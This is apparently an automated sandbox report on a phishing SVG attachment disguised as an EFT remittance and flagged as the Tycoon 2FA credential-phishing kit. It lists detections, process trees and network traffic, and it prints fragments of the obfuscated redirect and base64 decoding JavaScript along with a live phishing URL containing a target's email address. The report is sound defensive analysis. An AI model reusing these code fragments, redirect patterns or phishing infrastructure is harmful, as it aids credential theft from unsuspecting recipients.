Edit tour

Windows Analysis Report
EFTRemittance_Anina_DTVZBMTIPD_attach.svg

Overview

General Information

Sample name:	EFTRemittance_Anina_DTVZBMTIPD_attach.svg
Analysis ID:	1649568
MD5:	69430c8d12d05c061b4c99f9a09ab29f
SHA1:	c39948fa4d5d9e8d687f315e9b099fd218a5a5ff
SHA256:	a77d17dbb583f64945429bf221720870e8f8382eb203f3cb55e5a6cd25bbf57f
Infos:

Detection

Invisible JS, Tycoon2FA

Score:	84
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected AntiDebug via timestamp check

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

HTML page contains suspicious javascript code

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains password input but no form action

IP address seen in connection with other malware

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 8044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,16859642341297077991,5828510851148025304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1932 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2136,i,16859642341297077991,5828510851148025304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6232 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,16859642341297077991,5828510851148025304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6240 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 8548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\EFTRemittance_Anina_DTVZBMTIPD_attach.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
EFTRemittance_Anina_DTVZBMTIPD_attach.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

HTML

Source	Rule	Description	Author
1.12.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.7.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.8..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 7 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected Invisible JS

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.8..script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.12.d.script.csv, type: HTML
Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 1.7.d.script.csv, type: HTML
Source: Yara match	File source: 1.9.d.script.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/EFTRemittance_Anina... This script demonstrates several high-risk behaviors, including dynamic code execution using the `Function` constructor and obfuscated code/URLs. The script appears to be redirecting the user to a suspicious domain, which is a strong indicator of malicious intent. Overall, this script poses a high risk and should be treated with caution.
Source: 1.3..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.st... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob` and `decodeURIComponent` to decode and execute remote content is a clear indicator of malicious intent. Additionally, the script appears to be interacting with an untrusted domain, further increasing the risk. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.st... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to redirect the user to an external domain (even if it's Google) are all strong indicators of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.
Source: 1.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.st... This script demonstrates high-risk behaviors, including dynamic code execution through the use of a Proxy object that evaluates decoded strings. The obfuscated nature of the code and the potential for remote code execution make this a high-risk script.

HTML page contains suspicious javascript code

Source: file:///C:/Users/user/Desktop/EFTRemittance_Anina_DTVZBMTIPD_attach.svg

HTTP Parser: window.location.href = atob(

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: EFTRemittance_Anina_DTVZBMTIPD_attach.svg, type: SAMPLE

Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.state.tx.us

HTTP Parser: function gfsfgculgi(){ydvoollgzd = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+rwr1vmlzaw9uic0gvhjhbnnmb3jtaw5nievkdwnhdglvbjwvdgl0bgu+ciagphn0ewxlpgogicagym9kesb7ciagicagigzvbnqtzmftawx5oianu2vnb2ugvuknlcbuywhvbwesiedlbmv2yswgvmvyzgfuyswgc2fucy1zzxjpzjskicagicagbwfyz2luoiawowogicagicbwywrkaw5noiawowogicagicbiywnrz3jvdw5klwnvbg9yoiajzjlmowy5owogicagicbjb2xvcjogizmzmzskicagih0kicagighlywrlcib7ciagicagigjhy2tncm91bmq6igxpbmvhci1ncmfkawvudcgxmzvkzwcsicm2ytexy2isicmyntc1zmmpowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzognjbwecaymhb4owogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogm3jlbtskicagicagzm9udc13zwlnahq6igjvbgq7ciagicb9ciagicbozwfkzxigccb7ciagicagigzvbnqtc2l6ztogms4ycmvtowogicagicbtyxjnaw4tdg9woiaxmhb4owogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogcmdiysgyntusidi1nswgmju1lcawljkpowogi...

Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=613716764&timestamp=1743025394854
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: Iframe src: /_/bscframe
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=613716764&timestamp=1743025394854
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: Iframe src: /_/bscframe
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=613716764&timestamp=1743025394854
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: Iframe src: /_/bscframe
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=613716764&timestamp=1743025394854
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: Iframe src: /_/bscframe

HTTP Parser: <input type="password" .../> found

Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No favicon
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No favicon
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No favicon
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No favicon
Source: https://accounts.google.com/lifecycle/steps/signup/name?continue=https://www.google.com/?ptid%3D19027681%26ptt%3D8%26fpts%3D0&dsh=S-1509467686:1743025392143286&ec=futura_hpp_co_si_001_p&flowEntry=SignUp&flowName=GlifWebSignIn&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&TL=ADBLaQCKi2tGJcvGp2N1epFdBllAZbR9PZtmqQB6noy71Y7ZrwNdz4CAGisbPxeo	HTTP Parser: No favicon
Source: https://accounts.google.com/lifecycle/steps/signup/name?continue=https://www.google.com/?ptid%3D19027681%26ptt%3D8%26fpts%3D0&dsh=S-1509467686:1743025392143286&ec=futura_hpp_co_si_001_p&flowEntry=SignUp&flowName=GlifWebSignIn&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&TL=ADBLaQCKi2tGJcvGp2N1epFdBllAZbR9PZtmqQB6noy71Y7ZrwNdz4CAGisbPxeo	HTTP Parser: No favicon
Source: https://accounts.google.com/lifecycle/steps/signup/name?continue=https://www.google.com/?ptid%3D19027681%26ptt%3D8%26fpts%3D0&dsh=S-1509467686:1743025392143286&ec=futura_hpp_co_si_001_p&flowEntry=SignUp&flowName=GlifWebSignIn&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&TL=ADBLaQCKi2tGJcvGp2N1epFdBllAZbR9PZtmqQB6noy71Y7ZrwNdz4CAGisbPxeo	HTTP Parser: No favicon
Source: https://accounts.google.com/lifecycle/steps/signup/name?continue=https://www.google.com/?ptid%3D19027681%26ptt%3D8%26fpts%3D0&dsh=S-1509467686:1743025392143286&ec=futura_hpp_co_si_001_p&flowEntry=SignUp&flowName=GlifWebSignIn&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&TL=ADBLaQCKi2tGJcvGp2N1epFdBllAZbR9PZtmqQB6noy71Y7ZrwNdz4CAGisbPxeo	HTTP Parser: No favicon

Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No <meta name="author".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No <meta name="author".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No <meta name="author".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No <meta name="author".. found

Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVselRcMWdM6CLp7MIfsIGx12sHA4a7UU3CVQBHndMFnR2HgEmPMDr3x6nP3rgFdL2iBjiMD&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1509467686%3A1743025392143286	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.4.189:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.78:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.78:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.106:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.81.238:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.106:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.99:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.106:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.142:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.65.206:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.81.238:443 -> 192.168.2.4:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.78:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.78:443 -> 192.168.2.4:49913 version: TLS 1.2

Source:	Binary string: Fbb=function(a,b,c,d,e,f){var g={KX:b},h={},k=new _.Mf((h.FVxLkf=g,h),c,void 0,d);return function(){function m(p){var q={},v=_.yc(Cbb(b),function(w,x){return w.then(function(B){return B.length!=1\|\|Dbb(B[0])?_.Tf(B.map(function(F){return _.Ebb(F)})).then(function(F){q[p.get(x)]=F}):_.Ebb(B[0]).then(function(F){q[p.get(x)]=F})})});return _.Tf(_.zc(v)).then(function(){return q})}g.pDb=e instanceof _.ef?e.then(m):m(e);return _.Tf([f,g.pDb]).then(function(){var p=a.Sja();return _.Vqa(p,k,d)})}}; source: chromecache_145.1.dr
Source:	Binary string: _.Pdb=[!0,_.nj,_.fj];_.Qdb=[0,_.zj,-1]; source: chromecache_178.1.dr
Source:	Binary string: var hcb=function(a){var b=function(d){_.TIa(d)&&(_.TIa(d).yc=null,_.wbb(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])};_.Xq=function(a){_.Pq.call(this,a.Sa);var b=this,c=a.context.KAc;this.ka=c.KX;this.Pf=this.wa=this.Ca=this.oa=null;this.Aa=a.service.Qh;this.Ia=a.service.shd;a=this.ka.wa.then(function(d){b.oa=d;d=b.ka.id.z6b(d,b.ka.getParams());b.Ca=d.variant});c=c.pDb.then(function(d){b.wa=d});this.rbb=this.rbb.bind(this);this.xt(_.Tf([a,c]),_.kn)};_.E(_.Xq,_.Pq);_.Xq.Ja=function(){return{context:{KAc:"FVxLkf"},service:{Qh:_.Kq,component:_.Rq,shd:_.gbb}}};_.l=_.Xq.prototype;_.l.Fn=function(){return""};_.l.Hv=function(){return!1}; source: chromecache_170.1.dr

Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14

Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
